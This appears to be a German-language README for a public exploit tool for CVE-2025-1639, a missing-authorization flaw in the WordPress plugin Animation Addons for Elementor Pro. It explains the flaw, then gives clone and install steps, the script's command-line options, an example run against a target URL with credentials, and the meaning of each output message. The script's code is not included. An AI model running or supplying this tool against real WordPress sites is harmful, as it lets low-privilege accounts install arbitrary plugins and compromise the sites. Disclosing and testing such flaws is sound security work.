nxploited/cve-2025-1639Animation Addons for Elementor Pro <= 1.6 – Fehlende Autorisierung für authentifizierte Benutzer (Subscriber+) zur beliebigen Plugin-Installation/-Aktivierung
Das Plugin Animation Addons for Elementor Pro für WordPress ist anfällig für die nicht autorisierte Installation beliebiger Plugins aufgrund einer fehlenden Berechtigungsprüfung in der Funktion install_elementor_plugin_handler() in allen Versionen bis einschließlich 1.6. Dadurch können authentifizierte Angreifer mit Subscriber-Zugriff und höher beliebige Plugins installieren und aktivieren, was ausgenutzt werden kann, um ein Opfer weiter zu infizieren, wenn Elementor auf einer anfälligen Website nicht aktiviert ist.
requests-BibliothekBeautifulSoup-Bibliothekgit clone https://github.com/Nxploited/CVE-2025-1639.git
cd CVE-2025-1639
pip install -r requirements.txt
usage: CVE-2025-1639.py [-h] -u URL -un USERNAME -p PASSWORD [-pl PLUGIN]
Exploit script for CVE-2025-1639 # By Nxploit | Kaled ALenazi
options:
-h, --help show this help message and exit
-u URL, --url URL Target URL
-un USERNAME, --username USERNAME
WordPress username
-p PASSWORD, --password PASSWORD
WordPress password
-pl PLUGIN, --plugin PLUGIN
Plugin slug to upload and activate (default: wp-maintenance-mode)
-u, --url: Ziel-URL-un, --username: WordPress-Benutzername-p, --password: WordPress-Passwort-pl, --plugin (optional): Plugin-Slug zum Hochladen und Aktivieren (Standard: wp-maintenance-mode)python CVE-2025-1639.py -u http://example.com/wordpress -un admin -p password -pl wp-maintenance-mode
Logged in successfully.: Zeigt eine erfolgreiche Anmeldung an.The site is vulnerable... Exploiting and uploading the plugin.: Zeigt an, dass die Ziel-Site anfällig ist und der Exploit ausgeführt wird.Plugin uploaded and activated successfully.: Zeigt an, dass das Plugin erfolgreich hochgeladen und aktiviert wurde.Failed to log in.: Zeigt einen Anmeldefehler an.The site is not vulnerable.: Zeigt an, dass die Ziel-Site keine anfällige Version ausführt.Failed to extract security token.: Zeigt einen Fehler beim Extrahieren des Sicherheitstokens an, das für die Ausnutzung erforderlich ist.Failed to upload and activate the plugin.: Zeigt einen Fehler beim Hochladen und Aktivieren des Plugins an.Dieses Skript dient nur zu Bildungszwecken. Verwenden Sie es auf eigenes Risiko. Der Autor ist nicht verantwortlich für Schäden, die durch dieses Skript verursacht werden.